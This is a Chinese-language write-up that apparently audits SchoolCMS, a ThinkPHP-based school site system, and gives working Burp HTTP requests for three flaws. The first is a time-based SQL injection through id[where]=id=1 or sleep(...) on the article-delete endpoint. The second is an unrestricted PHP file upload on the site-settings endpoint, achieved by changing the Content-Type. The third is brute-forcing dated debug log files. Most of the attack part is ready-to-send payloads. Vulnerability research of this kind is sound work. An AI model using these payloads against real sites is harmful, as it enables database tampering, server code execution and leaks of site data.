sql注入
注入点:
burp的数据包:
POST /index.php?m=Admin&c=Article&a=Delete HTTP/1.1
Host: schoolcms
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=eadgqevkh0pv82j50dsomi1m01; think_language=zh-CN
Connection: keep-alive
Content-Length: 28
X-Requested-With: XMLHttpRequestid[where]=id=1+or+sleep(100)
对于此处的sql注入
$_POST = [ 'id' => [ 'where' => 'id=1 or sleep(1)' ] ];
如果正常来说传参为id[where],是会返回null但是如果框架能够正确的解析则会为以上的情况,此时完整的sql语句就会变成
DELETE FROM articles WHERE id=1 OR sleep(1)
算是一个比较巧妙的利用了。
注入点:
和上一个一样都是用同一个payload就能注入成功
id[where]=id=5 or sleep(5)
为啥id=where id=1 or sleep(3)不行,但是id[where]=id=1 or sleep(3)可以
id=where id=1 or sleep(3):
M('Article')->find() 方法期望一个整数作为 id 参数,但在这里它接收到的是一个字符串。
如果 find() 方法内部对 id 进行了类型检查或转换(例如将非数字值转换为 0 或 null),那么这个查询可能会失败或返回空结果。
id[where]=id=1 or sleep(3)
$id = ['where' => '1 or sleep(5)'
];
会将其解析为一个数组,从而实现注入。
疑问:写的是sleep(5)但是自己测出来大概是10s左右的延迟,不清楚是框架老还是解析出了问题,每次大概都要延迟两倍,如果有佬,求解答,谢谢!
文件上传
上传路径:schoolcms\Application\Admin\Controller\SiteController.class.php
啥过滤都没有而且还有0777的可执行权限,路径也已经告诉你了,但是用time做随机数,可能得爆破一会
payload
POST /index.php?m=Admin&c=Site&a=Save HTTP/1.1
Host: schoolcms
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=eadgqevkh0pv82j50dsomi1m01; think_language=zh-CN
Connection: keep-alive
Content-Length: 211
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="home_site_logo_img"; filename="logo.png"
Content-Type: image/php<?php phpinfo();?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
修改content-type将后面的改成php上传即可成功
日志泄露
ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志
可以直接用脚本爆破,年份_月份_日期.log